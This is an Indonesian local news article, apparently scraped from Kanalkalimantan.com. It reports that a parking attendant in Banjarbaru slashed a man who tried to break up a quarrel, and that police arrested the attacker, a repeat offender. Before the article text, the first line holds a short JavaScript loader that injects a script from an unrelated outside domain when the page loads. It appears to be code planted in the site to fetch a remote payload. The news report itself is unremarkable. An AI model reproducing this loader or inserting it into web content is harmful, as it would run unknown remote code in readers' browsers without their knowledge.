(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
KANALKALIMANTAN.COM, BANJARBARU – Nurkhalis Fauzi (24) warga Karang Intan, Kabupaten Banjar, alami nasib naas.
Niat baik melerai perkelahian temannya, Fauzi malah jadi sasaran sabetan senjata tajam (sajam) milik seorang juru parkir (Jukir) Pahmi (32) warga Jalan Karang Anyar, Loktabat Utara, Kota Banjarbaru.
Kapolsek Banjarbaru Utara Kompol Shofiyah melalui Ps Kasi Humas Polsek Banjarbaru Utara Aipda Andreas mengatakan, pelaku sudah diamankan di Mako Polsek Banjarbaru Utara untuk mempertanggung jawabkan perbuatannya.
“Alat bukti yang kita amankan berupa sebuah senjata tajam jenis pisau dengan kumpang kulit warna coklat sepanjang kurang lebih 25 Cm,” sebutnya, Kamis (18/8/2022) siang.
Baca juga: Kabur Bersembunyi 9 Jam, Pelaku Penusukan Maut di Cempaka Ditangkap Polisi
Aipda Andreas menceritakan kronologis kejadian pada Senin (8/8/2022) lalu, sekitar pukul 02.30 Wita di depan kantor catatan sipil, Kelurahan Komet, Kota Banjarbaru.
Saat itu teman korban, Amat didatangi dua laki-laki, pelaku Pahmi beradu mulut dengan Amat. Karena melihat temannya beradu mulut dengan seseorang, Fauzi saat itu hendak melerai temannya dan pelaku.
“Di waktu bersamaan, pelaku mengeluarkan sebilah pisau, lalu menyabetkanya, korban mengalami luka sobek di jari tengah dan manis, setelah itu pelaku melarikan diri,” jelasnya.
Aipda Andreas menambahkan setelah menerima laporan Unit Reskrim Polsek Banjarbaru Utara mencari saksi dan informasi tentang kejadian tersebut.
Sekira pukul 21.50 Wita, pada Sabtu (13/8/2022) Unit Reskrim Polsek Banjarbaru Utara dipimpin Panit 2 Opsnal Polsek Banjarbaru Utara Aiptu Sugeng Gunawan mendapati informasi pelaku berada di sebuah rumah di Jalan Karang Anyar 1.
Unit Opsnal berhasil menemukan dan mengamankan pelaku, selanjutnya dibawa ke Mapolsek Bajarbaru Utara.
“Dari hasil pengusutan tersangka diketahui merupakan residivis sajam,” sebutnya.
Untuk mempetanggungjawabkan perbuatannya, pelaku dikenakan pasal 351 KUHP. (Kanalkalimantan.com/ibnu)
Reporter : ibnu
Editor : bie
KANALKALIMANTAN.COM, KUALA KAPUAS – Panitia Khusus (Pansus) I Dewan Perwakilan Rakyat Daerah (DPRD) Kabupaten Kapuas… Read More
KANALKALIMANTAN.COM, BANJARBARU - Haul Syarifah Badrun Al Qadiri Al Hasani bin Sayyid Yusuf Al-Qadiri Al-Hasani… Read More
KANALKALIMANTAN.COM, BANJARBARU - PT PLN (Persero) Unit Induk Penyaluran dan Pusat Pengatur Beban (UIP3B) Kalimantan… Read More
KANALKALIMANTAN.COM - Penyanyi senior Jhonny Iskandar meninggal dunia hari ini, Jumat (10/5/2024). Eks personel Orkes… Read More
KANALKALIMANTAN.COM, AMUNTAI – Membangun ulang Rumah Tidak Layak Huni (RTLH) menjadi layak huni menjadi salah… Read More
KANALKALIMANTAN.COM, BANJARBARU - Target juara umum kontingen Kota Banjarbaru dalam ajang Pekan Olahraga Pelajar Daerah… Read More
This website uses cookies.